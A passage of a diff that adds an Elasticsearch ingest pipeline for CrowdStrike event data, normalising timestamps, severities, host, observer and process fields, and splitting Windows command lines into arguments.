+        if (ctx.crowdstrike.ContextTimeStamp instanceof long) {
+          timestamp = (long)ctx.crowdstrike.ContextTimeStamp;
+        } else if (ctx.crowdstrike.ContextTimeStamp instanceof String) {
+          if (!ctx.crowdstrike.ContextTimeStamp.contains('.')) {
+            timestamp = Long.parseLong(ctx.crowdstrike.ContextTimeStamp);
+          }
+        }
+        if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant.
+          ctx.crowdstrike.ContextTimeStamp = (timestamp / 10000000) - 11644473600L;
+        }
+  - date:
+      tag: date_crowdstrike_ContextTimeStamp_into_crowdstrike_ContextTimeStamp_0af2b375
+      if: ctx.crowdstrike?.ContextTimeStamp != null && ctx.crowdstrike.ContextTimeStamp != '' && ctx.crowdstrike.ContextTimeStamp != 'none'
+      field: crowdstrike.ContextTimeStamp
+      target_field: crowdstrike.ContextTimeStamp
+      formats:
+        - UNIX
+  - script:
+      description: Conditionally convert StartTime from Windows NT timestamp format to UNIX
+      tag: script_date_StartTime_from_nt_a5058c7c
+      source: |-
+        if (ctx.crowdstrike?.StartTime == null) {
+          return;
+        }
+        long timestamp;
+        if (ctx.crowdstrike.StartTime instanceof long) {
+          timestamp = (long)ctx.crowdstrike.StartTime;
+        } else if (ctx.crowdstrike.StartTime instanceof String) {
+          if (!ctx.crowdstrike.StartTime.contains('.')) {
+            timestamp = Long.parseLong(ctx.crowdstrike.StartTime);
+          }
+        }
+        if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant.
+          ctx.crowdstrike.StartTime = (timestamp / 10000000) - 11644473600L;
+        }
+  - date:
+      tag: date_crowdstrike_StartTime_into_crowdstrike_StartTime_9501a78d
+      if: ctx.crowdstrike?.StartTime != null && ctx.crowdstrike.StartTime != '' && ctx.crowdstrike.StartTime != 'none'
+      field: crowdstrike.StartTime
+      target_field: crowdstrike.StartTime
+      formats:
+        - UNIX
+  - script:
+      description: Conditionally convert EndTime from Windows NT timestamp format to UNIX
+      tag: script_date_EndTime_from_nt_8fceb4ba
+      source: |-
+        if (ctx.crowdstrike?.EndTime == null) {
+          return;
+        }
+        long timestamp;
+        if (ctx.crowdstrike.EndTime instanceof long) {
+          timestamp = (long)ctx.crowdstrike.EndTime;
+        } else if (ctx.crowdstrike.EndTime instanceof String) {
+          if (!ctx.crowdstrike.EndTime.contains('.')) {
+            timestamp = Long.parseLong(ctx.crowdstrike.EndTime);
+          }
+        }
+        if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant.
+          ctx.crowdstrike.EndTime = (timestamp / 10000000) - 11644473600L;
+        }
+  - date:
+      tag: date_crowdstrike_EndTime_into_crowdstrike_EndTime_403904fe
+      if: ctx.crowdstrike?.EndTime != null && ctx.crowdstrike.EndTime != '' && ctx.crowdstrike.EndTime != 'none'
+      field: crowdstrike.EndTime
+      target_field: crowdstrike.EndTime
+      formats:
+        - UNIX
+  - date:
+      tag: date_crowdstrike_scores_modified_time_into_crowdstrike_scores_modified_time_1bb3843a
+      if: ctx.crowdstrike?.scores?.modified_time != null && ctx.crowdstrike.scores.modified_time != '' && ctx.crowdstrike.scores.modified_time != 'none'
+      field: crowdstrike.scores.modified_time
+      target_field: crowdstrike.scores.modified_time
+      formats:
+        - ISO8601
+        - yyyy-MM-dd'T'HH:mm:ss.SSS'Z'
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_scores_modified_time_b26c8439
+            field:
+              - crowdstrike.scores.modified_time
+        - append:
+            tag: append_error_message_f822bf1a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      tag: date_crowdstrike_ChangeTime_into_crowdstrike_ChangeTime_e3e3ffa4
+      if: ctx.crowdstrike?.ChangeTime != null && ctx.crowdstrike.ChangeTime != ''
+      field: crowdstrike.ChangeTime
+      target_field: crowdstrike.ChangeTime
+      formats:
+        - UNIX
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_ChangeTime_0874f7f6
+            field:
+              - crowdstrike.ChangeTime
+        - append:
+            tag: append_error_message_e3a24574
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      tag: rename_crowdstrike_message_to_message_8aaa4841
+      field: crowdstrike.message
+      target_field: message
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_event_type_to_crowdstrike_EventType_0f2370ba
+      if: ctx.crowdstrike?.EventType == null
+      field: crowdstrike.event_type
+      target_field: crowdstrike.EventType
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_host_hidden_status_to_crowdstrike_HostHiddenStatus_7d1ffcb7
+      if: ctx.crowdstrike?.HostHiddenStatus == null
+      field: crowdstrike.host_hidden_status
+      target_field: crowdstrike.HostHiddenStatus
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_scores_os_to_long_680c0a21
+      field: crowdstrike.scores.os
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_scores_os_73ce1ec6
+            field:
+              - crowdstrike.scores.os
+            ignore_missing: true
+        - append:
+            tag: append_error_message_6d576da7
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_scores_overall_to_long_5858a4c8
+      field: crowdstrike.scores.overall
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_scores_overall_a59f0dd4
+            field:
+              - crowdstrike.scores.overall
+            ignore_missing: true
+        - append:
+            tag: append_error_message_b2d1d828
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_scores_sensor_to_long_907f0ea9
+      field: crowdstrike.scores.sensor
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_scores_sensor_ef9c1c3a
+            field:
+              - crowdstrike.scores.sensor
+            ignore_missing: true
+        - append:
+            tag: append_error_message_68deb51f
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  # Non-sensor Events
+  - pipeline:
+      tag: pipeline_data_protection_detection_summary_cd21f5a1
+      if: ctx.crowdstrike?.ExternalApiType == 'Event_DataProtectionDetectionSummaryEvent'
+      name: '{{ IngestPipeline "data_protection_detection_summary" }}'
+  - pipeline:
+      tag: pipeline_epp_detection_summary_b611643c
+      if: ctx.crowdstrike?.ExternalApiType == 'Event_EppDetectionSummaryEvent'
+      name: '{{ IngestPipeline "epp_detection_summary" }}'
+  # File Integrity Monitor Rule Matched events
+  - pipeline:
+      tag: pipeline_fim_rule_matched_33f5a923
+      if: ctx.crowdstrike?.ExternalApiType == 'Event_FileIntegrityMonitorRuleMatchedEnriched' || ctx.crowdstrike?.event_simpleName == 'FileIntegrityMonitorRuleMatched'
+      name: '{{ IngestPipeline "fim_rule_matched" }}'
+
+  # Handle case changes.
+  - rename:
+      tag: rename_crowdstrike_GrandParentCommandLine_to_crowdstrike_GrandparentCommandLine_1958890d
+      field: crowdstrike.GrandParentCommandLine
+      target_field: crowdstrike.GrandparentCommandLine
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_GrandParentImageFileName_to_crowdstrike_GrandparentImageFileName_51e07871
+      field: crowdstrike.GrandParentImageFileName
+      target_field: crowdstrike.GrandparentImageFileName
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_GrandParentImageFilePath_to_crowdstrike_GrandparentImageFilePath_7028d291
+      field: crowdstrike.GrandParentImageFilePath
+      target_field: crowdstrike.GrandparentImageFilePath
+      ignore_missing: true
+      ignore_failure: true
+
+  # Assign severities to conform to security rules values
+  # 
+  # 21 = Low
+  # 47 = Medium
+  # 73 = High
+  # 99 = Critical
+  # 
+  # Leave crowdstrike values in place, since they have their own semantics.
+  - convert:
+      tag: convert_crowdstrike_alert_severity_to_long_306bc9b0
+      if: ctx.crowdstrike?.alert?.severity != null && !(ctx.crowdstrike.alert.severity instanceof long)
+      field: crowdstrike.alert.severity
+      type: long
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_alert_severity_cc99ae7c
+            field:
+              - crowdstrike.alert.severity
+        - append:
+            tag: append_error_message_4c7cf4a0
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - script:
+      description: Script to set event.severity.
+      tag: script_set_crowdstrike_alert_severity_b187cbc2
+      if: ctx.crowdstrike?.alert?.severity instanceof long && ctx.crowdstrike.alert.severityName == null
+      source: |-
+        long severity = ctx.crowdstrike.alert.severity;
+        if (0 <= severity && severity < 20) {
+          ctx.crowdstrike.alert.severityName = "info";
+        } if (20 <= severity && severity < 40) {
+          ctx.crowdstrike.alert.severityName = "low";
+        } if (40 <= severity && severity < 60) {
+          ctx.crowdstrike.alert.severityName = "medium";
+        } if (60 <= severity && severity < 80) {
+          ctx.crowdstrike.alert.severityName = "high";
+        } if (80 <= severity && severity <= 100) {
+          ctx.crowdstrike.alert.severityName = "critical";
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_06556072
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - script:
+      tag: script_set_event_severity_c715a67f
+      if: ctx.crowdstrike?.SeverityName instanceof String
+      source: |-
+        ctx.event = ctx.event ?: [:];
+        String name = ctx.crowdstrike.SeverityName;
+        if (name.equalsIgnoreCase("low") || name.equalsIgnoreCase("info") || name.equalsIgnoreCase("informational")) {
+          ctx.event.severity = 21;
+        } else if (name.equalsIgnoreCase("medium")) {
+          ctx.event.severity = 47;
+        } else if (name.equalsIgnoreCase("high")) {
+          ctx.event.severity = 73;
+        } else if (name.equalsIgnoreCase("critical")) {
+          ctx.event.severity = 99;
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_6dd43c3d
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  # EppDetectionSummaryEvent renames
+  - rename:
+      tag: rename_crowdstrike_Hostname_to_crowdstrike_ComputerName_91445a54
+      field: crowdstrike.Hostname
+      target_field: crowdstrike.ComputerName
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_LogonDomain_to_crowdstrike_MachineDomain_b6659adb
+      field: crowdstrike.LogonDomain
+      target_field: crowdstrike.MachineDomain
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_AgentId_to_crowdstrike_SensorId_c933741c
+      field: crowdstrike.AgentId
+      target_field: crowdstrike.SensorId
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_Name_to_crowdstrike_DetectName_6008d35c
+      field: crowdstrike.Name
+      target_field: crowdstrike.DetectName
+      ignore_missing: true
+      ignore_failure: true
+
+  # Handle additional added fields.
+  - date:
+      tag: date_crowdstrike_FirstDiscoveredDate_into_crowdstrike_FirstDiscoveredDate_612798da
+      if: ctx.crowdstrike?.FirstDiscoveredDate != null && ctx.crowdstrike.FirstDiscoveredDate != '' && ctx.crowdstrike.FirstDiscoveredDate != 'none'
+      field: crowdstrike.FirstDiscoveredDate
+      target_field: crowdstrike.FirstDiscoveredDate
+      formats:
+        - UNIX
+  - convert:
+      tag: convert_crowdstrike_CurrentLocalIP_to_ip_a98b1595
+      if: ctx.crowdstrike?.CurrentLocalIP != null && ctx.crowdstrike?.CurrentLocalIP != ''
+      field: crowdstrike.CurrentLocalIP
+      type: ip
+  - convert:
+      tag: convert_crowdstrike_aipCount_to_integer_ad6bba60
+      if: ctx.crowdstrike?.aipCount != null && ctx.crowdstrike?.aipCount != ''
+      field: crowdstrike.aipCount
+      type: integer
+  - convert:
+      tag: convert_crowdstrike_discovererCount_to_integer_16ff8e6a
+      if: ctx.crowdstrike?.discovererCount != null && ctx.crowdstrike?.discovererCount != ''
+      field: crowdstrike.discovererCount
+      type: integer
+  - convert:
+      tag: convert_crowdstrike_localipCount_to_integer_97885158
+      if: ctx.crowdstrike?.localipCount != null && ctx.crowdstrike?.localipCount != ''
+      field: crowdstrike.localipCount
+      type: integer
+
+  # AWS S3 input does _id-Based Deduplication and generates "_id" by default.
+  # When "Data Deduplication" is not enabled, this field must be removed.
+  # https://www.elastic.co/docs/reference/beats/filebeat/filebeat-input-aws-s3#_document_id_generation
+  - remove:
+      description: When data deduplication is disabled, even the _id-Based Deduplication needs to be removed.
+      tag: remove_id_based_deduplication_fd096d6e
+      if: ctx._conf?.enable_deduplication == false
+      field:
+        - _id
+      ignore_missing: true
+
+  - script:
+      tag: script_data_type_89bd92f4
+      if: ctx.log?.file?.path != null && ctx.log.file.path != ''
+      source: |-
+        int lastSlash = ctx.log.file.path.lastIndexOf("/");
+        if (lastSlash == -1) {
+          return;
+        }
+        ctx._temp = ctx._temp ?: [:];
+        ctx._temp.type = ctx.log.file.path.substring(lastSlash + 1);
+        // aidmaster and userinfo are bucket keys we depend on, the data
+        // path suffix is tested, but not depended on. So make sure this
+        // is present for the fingerprint processor.
+        if (ctx._temp.type != 'aidmaster' && ctx._temp.type != 'userinfo') {
+          ctx._temp.type = 'data';
+        }
+  - fingerprint:
+      description: When deduplication is enabled, fingerprint the a set of crowdstrike fields in attempt to prevent the same event from being indexed more than once.
+      tag: fingerprint_crowdstrike_fdr_0e5ffd3f
+      if: ctx._conf?.enable_deduplication == true
+      fields:
+        - '@timestamp'
+        - crowdstrike.id
+        - crowdstrike.aid
+        - crowdstrike.cid
+        - _temp.type
+      target_field: _id
+      ignore_missing: true
+
+  # Categorization
+  - pipeline:
+      tag: pipeline_categorize_20a0e7f1
+      name: '{{ IngestPipeline "categorize" }}'
+      ignore_missing_pipeline: true
+
+  # Cached event category for category-dependent processors
+  - set:
+      tag: set__temp_isFile_1aa6969f
+      if: ctx.event?.category?.contains('file') == true
+      field: _temp.isFile
+      value: true
+  - set:
+      tag: set__temp_isLibrary_00bc941b
+      if: ctx.event?.category?.contains('library') == true
+      field: _temp.isLibrary
+      value: true
+  - set:
+      tag: set__temp_isNetwork_70f64bff
+      if: ctx.event?.category?.contains('network') == true
+      field: _temp.isNetwork
+      value: true
+  - set:
+      tag: set__temp_isProcess_279add73
+      if: ctx.event?.category?.contains('process') == true
+      field: _temp.isProcess
+      value: true
+  - set:
+      tag: set__temp_isDriver_d4311ecf
+      if: ctx.event?.category?.contains('driver') == true
+      field: _temp.isDriver
+      value: true
+
+  # CSPM fields
+  # Can be both string and int, fields are mapped as keyword.
+  - convert:
+      tag: convert_crowdstrike_service_to_string_2a8687e8
+      field: crowdstrike.service
+      type: string
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_cloudplatform_to_string_1f6df19b
+      field: crowdstrike.cloudplatform
+      type: string
+      ignore_missing: true
+
+  - rename:
+      description: Rename crowdstrike.resource in case concrete value field is mapped as object.
+      tag: rename_crowdstrike_resource_to_crowdstrike_resource_name_9899a394
+      if: ctx.crowdstrike?.resource instanceof String
+      field: crowdstrike.resource
+      target_field: crowdstrike.resource_name
+  - remove:
+      tag: remove_cloud_4d018ef3
+      field:
+        - cloud
+      ignore_missing: true
+
+  - pipeline:
+      tag: pipeline_cspm_iom_62dcd2f9
+      if: (ctx.crowdstrike?.disposition != null && ctx.crowdstrike.disposition.equalsIgnoreCase('Failed')) ||(ctx.crowdstrike?.event_simpleName != null && ctx.crowdstrike.event_simpleName.equalsIgnoreCase('CloudSecurityIOMEvaluation'))
+      name: '{{ IngestPipeline "cspm_iom" }}'
+  - pipeline:
+      tag: pipeline_cspm_ioa_8a985b05
+      if: ctx.crowdstrike?.vertex_type != null && ctx.crowdstrike.vertex_type.equalsIgnoreCase('ioa')
+      name: '{{ IngestPipeline "cspm_ioa" }}'
+
+  # Event fields.
+  - set:
+      description: Concat the fields used in fingerprint.
+      tag: set_event_id_af6d60ca
+      if: ctx.crowdstrike?.id != null || ctx.crowdstrike?.aid != null || ctx.crowdstrike?.cid != null
+      field: event.id
+      value: '{{{#crowdstrike.id}}}{{{ crowdstrike.id }}}{{{/crowdstrike.id}}}|{{{#crowdstrike.aid}}}{{{ crowdstrike.aid }}}{{{/crowdstrike.aid}}}|{{{#crowdstrike.cid}}}{{{ crowdstrike.cid }}}{{{/crowdstrike.cid}}}'
+      override: false
+  - set:
+      tag: construct_message_from_event_simpleName_649b7fba
+      field: message
+      copy_from: crowdstrike.event_simpleName
+      override: false
+      ignore_empty_value: true
+  - rename:
+      tag: rename_crowdstrike_event_simpleName_to_event_action_0069f759
+      field: crowdstrike.event_simpleName
+      target_field: event.action
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_SuspiciousHandleOpenReason_to_event_reason_d2830844
+      field: crowdstrike.SuspiciousHandleOpenReason
+      target_field: event.reason
+      ignore_missing: true
+
+  # Prepare data.
+  - script:
+      description: Convert all count fields to number.
+      tag: convert_count_fields_to_long_e5775223
+      source: |-
+        for (entry in ctx.crowdstrike.entrySet()) {
+          def key = entry.getKey().toString();
+          if (key.contains("Count") || key.contains("Port")) {
+            try {
+              ctx.crowdstrike[key] = Long.parseLong(entry.getValue().toString());
+            } catch (Exception e) {
+            }
+          }
+        }
+  - script:
+      description: Remove all 0's hashes.
+      tag: remove_empty_hashes_fdda7066
+      params:
+        MD5HashData: md5
+        SHA1HashData: sha1
+        SHA256HashData: sha256
+      source: |-
+        def hashIsEmpty(String hash) {
+          if (hash == null || hash == "") {
+            return true;
+          }
+
+          Pattern emptyHashRegex = /^0*$/;
+          def matcher = emptyHashRegex.matcher(hash);
+
+          return matcher.matches();
+        }
+
+        def hashes = new HashMap();
+        def related = [
+          "hash": new ArrayList()
+        ];
+        for (entry in params.entrySet()) {
+          def key = entry.getKey().toString();
+          def value = ctx.crowdstrike[key];
+          if (hashIsEmpty(value)) {
+            ctx.crowdstrike.remove(key);
+            continue;
+          }
+
+          hashes[entry.getValue().toString()] = value;
+          related.hash.add(value);
+        }
+
+        ctx._temp = ctx._temp ?: [:];
+        ctx._temp.hashes = hashes;
+        if (related.hash.length > 0) {
+          ctx.related = related;
+        }
+
+  # Observer fields.
+  - set:
+      tag: set_observer_serial_number_f13cfca6
+      field: observer.serial_number
+      copy_from: crowdstrike.aid
+      ignore_empty_value: true
+  - split:
+      tag: split_crowdstrike_aip_f0e4d8b4
+      field: crowdstrike.aip
+      separator: \s+
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_aip_to_ip_c775b545
+      field: crowdstrike.aip
+      type: ip
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_aip_253407ba
+            field:
+              - crowdstrike.aip
+  - rename:
+      tag: rename_crowdstrike_aip_to_observer_ip_db4efb0d
+      field: crowdstrike.aip
+      target_field: observer.ip
+      ignore_missing: true
+      ignore_failure: true
+  - set:
+      tag: set_observer_address_7e682298
+      field: observer.address
+      copy_from: observer.ip
+      ignore_empty_value: true
+  - rename:
+      tag: rename_crowdstrike_AgentVersion_to_observer_version_8a83774d
+      field: crowdstrike.AgentVersion
+      target_field: observer.version
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_ConfigBuild_to_observer_version_05f8908e
+      field: crowdstrike.ConfigBuild
+      target_field: observer.version
+      ignore_missing: true
+      ignore_failure: true
+  - foreach:
+      tag: foreach_of_observer_ip_e78425f7
+      if: ctx.observer?.ip != null && ctx.observer.ip instanceof List
+      field: observer.ip
+      processor:
+        append:
+          tag: append_related_ip_e9bcb8d0
+          field: related.ip
+          value: '{{{_ingest._value}}}'
+          allow_duplicates: false
+
+  # Host fields.
+  - rename:
+      tag: rename_crowdstrike_aid_to_host_id_c2222a0d
+      field: crowdstrike.aid
+      target_field: host.id
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_ComputerName_to_host_hostname_0ec8d515
+      field: crowdstrike.ComputerName
+      target_field: host.hostname
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_hostname_to_host_hostname_f0f6daca
+      field: crowdstrike.hostname
+      target_field: host.hostname
+      ignore_missing: true
+      ignore_failure: true
+  - set:
+      tag: set_host_name_e6f31488
+      field: host.name
+      copy_from: host.hostname
+      ignore_empty_value: true
+      ignore_failure: true
+  - append:
+      tag: append_related_hosts_369b21b5
+      if: ctx.crowdstrike?.info?.host?.ComputerName != null
+      field: related.hosts
+      value: '{{{crowdstrike.info.host.ComputerName}}}'
+      allow_duplicates: false
+  - rename:
+      tag: rename_crowdstrike_info_host_ComputerName_to_host_name_a1ee7f6f
+      if: ctx.host?.name == null
+      field: crowdstrike.info.host.ComputerName
+      target_field: host.name
+      ignore_missing: true
+  - append:
+      tag: append_related_hosts_452ef445
+      if: ctx.host?.name != null
+      field: related.hosts
+      value: '{{{host.name}}}'
+      allow_duplicates: false
+  - rename:
+      tag: rename_crowdstrike_City_to_host_geo_city_name_bf5d6259
+      field: crowdstrike.City
+      target_field: host.geo.city_name
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_Continent_to_host_geo_continent_name_d0e71561
+      field: crowdstrike.Continent
+      target_field: host.geo.continent_name
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_Country_to_host_geo_country_name_56324ad5
+      field: crowdstrike.Country
+      target_field: host.geo.country_name
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_Timezone_to_host_geo_timezone_b481eccd
+      field: crowdstrike.Timezone
+      target_field: host.geo.timezone
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_MachineDomain_to_host_domain_3ab40091
+      field: crowdstrike.MachineDomain
+      target_field: host.domain
+      ignore_missing: true
+      ignore_failure: true
+  - convert:
+      tag: convert_crowdstrike_info_host_aip_to_ip_into__temp_aip_21b40f31
+      if: ctx.crowdstrike?.info?.host?.aip != null && ctx.crowdstrike.info.host.aip != ""
+      field: crowdstrike.info.host.aip
+      type: ip
+      target_field: _temp.aip
+      ignore_failure: true
+  - remove:
+      tag: remove_crowdstrike_info_host_aip_0b8e5e7f
+      if: ctx._temp?.aip != null
+      field:
+        - crowdstrike.info.host.aip
+  - append:
+      tag: append_host_ip_1dd81f5c
+      if: ctx._temp?.aip != null
+      field: host.ip
+      value: '{{{_temp.aip}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_related_ip_a3fbf481
+      if: ctx._temp?.aip != null
+      field: related.ip
+      value: '{{{_temp.aip}}}'
+      allow_duplicates: false
+
+  # OS fields.
+  - set:
+      tag: set_host_os_type_c07526d4
+      if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "Lin"
+      field: host.os.type
+      value: linux
+  - set:
+      tag: set_host_os_type_d0c6a731
+      if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "Mac"
+      field: host.os.type
+      value: macos
+  - set:
+      tag: set_host_os_type_88679cda
+      if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "Win"
+      field: host.os.type
+      value: windows
+  - set:
+      tag: set_host_os_type_079f7c73
+      if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "iOS"
+      field: host.os.type
+      value: ios
+  - rename:
+      tag: rename_crowdstrike_OSVersionString_to_host_os_version_c9849d9b
+      field: crowdstrike.OSVersionString
+      target_field: host.os.version
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_Version_to_host_os_version_74d23d68
+      field: crowdstrike.Version
+      target_field: host.os.version
+      ignore_missing: true
+      ignore_failure: true
+
+  # Service fields.
+  - set:
+      tag: set_service_name_e27d7b04
+      if: ctx._temp?.isDriver == true
+      field: service.name
+      copy_from: crowdstrike.ServiceDisplayName
+      ignore_empty_value: true
+
+  # Process fields.
+  - rename:
+      tag: rename_crowdstrike_CommandLine_to_process_command_line_307047e3
+      field: crowdstrike.CommandLine
+      target_field: process.command_line
+      ignore_missing: true
+  - script:
+      description: Implements Windows-like SplitCommandLine
+      tag: split_command_line_c3beef26
+      if: ctx.process?.command_line != null && ctx.process.command_line != "" && ctx.host?.os?.type != null
+      source: |-
+        // appendBSBytes appends n '\\' bytes to b and returns the resulting slice.
+        def appendBSBytes(StringBuilder b, int n) {
+           for (; n > 0; n--) {
+             b.append('\\');
+           }
+           return b;
+        }
+
+        // readNextArg splits command line string into next
+        // argument and command line remainder offset.
+        def readNextArg(String line, int offset) {
+          def b = new StringBuilder();
+          boolean inquote;
+          int nslash;
+          for (; offset < line.length(); offset++) {
+            def c = line.charAt(offset);
+            if (c == (char)' ' || c == (char)0x09) {
+              if (!inquote) {
+                return [
+                  "arg":  appendBSBytes(b, nslash).toString(),
+                  "offset": offset+1
+                ];
+              }
+            } else if (c == (char)'"') {
+              b = appendBSBytes(b, nslash/2);
+              if (nslash%2 == 0) {
+                // use "Prior to 2008" rule from
+                // http://daviddeley.com/autohotkey/parameters/parameters.htm
+                // section 5.2 to deal with double double quotes
+                if (inquote && offset+1 < line.length() && line.charAt(offset+1) == (char)'"') {
+                  b.append(c);
+                  offset++;
+                }
+                inquote = !inquote;
+              } else {
+                b.append(c);
+              }
+              nslash = 0;
+              continue;
+            } else if (c == (char)'\\') {
+              nslash++;
+              continue;
+            }
+            b = appendBSBytes(b, nslash);
+            nslash = 0;
+            b.append(c);
+          }
+          return [
+            "arg":  appendBSBytes(b, nslash).toString(),
+            "offset": line.length()
+          ];
+        }
+
+        // commandLineToArgv splits a command line into individual argument
+        // strings, following the Windows conventions documented
+        // at http://daviddeley.com/autohotkey/parameters/parameters.htm#WINARGV
+        // Original implementation found at: https://github.com/golang/go/commit/39c8d2b7faed06b0e91a1ad7906231f53aab45d1
+        def commandLineToArgv(String line) {
+          def args = new ArrayList();
+          for (int i = 0; i < line.length();) {
+            if (line.charAt(i) == (char)' ' || line.charAt(i) == (char)0x09) {
+              i++;
+              continue;
+            }
+            def next = readNextArg(line, i);
+            i = next.offset;
+            if (next.arg == '') {
+              // Empty strings will be removed later so don't bother adding them.
+              continue;
+            }
+            args.add(next.arg);
+          }
+          return args;
+        }
+
+        ctx.process.args = commandLineToArgv(ctx.process.command_line);
+        ctx.process.args_count = ctx.process.args.length;
+  - rename:
+      tag: rename_crowdstrike_ImageFileName_to_process_executable_1e9d3140
+      if: ctx._temp?.isLibrary != true && ctx._temp?.isDriver != true
+      field: crowdstrike.ImageFileName
+      target_field: process.executable
+      ignore_missing: true
+  - script:
+      description: Calculate process.name
+      tag: process_name_7293cfa8
+      if: ctx.process?.executable != null && ctx.process.executable != ""
+      source: |-
+        def executable = ctx.process.executable;
+        def exe_arr = [];
+        def name = executable;
+        if(executable.substring(0,1) == "\\") {
+          name = executable.splitOnToken("\\")[-1];
+        } else if(executable.substring(0,1) == "/") {
+          name = executable.splitOnToken("/")[-1];
+        }
+        ctx.process.put("name", name);
+
+  # This handles a special case occurs in Linux-based containerized environments
+  # when the "runc" process clones itself to get into its own namespace.
+  # The child process would have its executable path set to "/"
+  # and consequently, the process name would not be set.
+  # For more details, see https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2021/12/28/runc-internals-3.
+  - script:
+      description: Extract process.name from command line if not already present.
+      tag: parse_process_name_from_command_line_327152ca
+      if: |-
+        ctx.process?.executable == '/' &&
+        (ctx.process.name == null || ctx.process.name == '') &&
+        (ctx.process.args instanceof List && ctx.process.args.length > 0)
+      source: |-
+        ctx.process.name = ctx.process.args[0];
+
+        // Clean up path separators.
+        int lastSlash = ctx.process.name.lastIndexOf("/");
+        if (lastSlash != -1) {
+          ctx.process.name = ctx.process.name.substring(lastSlash + 1);
+        }
+  - convert:
+      tag: convert_crowdstrike_ExitCode_to_long_b3ece615
+      field: crowdstrike.ExitCode
+      type: long
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_ExitCode_to_process_exit_code_dd734967
+      field: crowdstrike.ExitCode
+      target_field: process.exit_code
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_ProcessStartTime_to_string_6339b88d
+      field: crowdstrike.ProcessStartTime
+      type: string
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_ProcessEndTime_to_string_e858845e
+      field: crowdstrike.ProcessEndTime
+      type: string
+      ignore_missing: true
+  - script:
+      description: Calculate process.uptime
+      tag: process_uptime_d1b24ab9
+      if: |-
+        ctx.crowdstrike?.ProcessStartTime != null && ctx.crowdstrike?.ProcessStartTime != "" &&
+        ctx.crowdstrike?.ProcessEndTime != null && ctx.crowdstrike?.ProcessEndTime != ""
+      source: |-
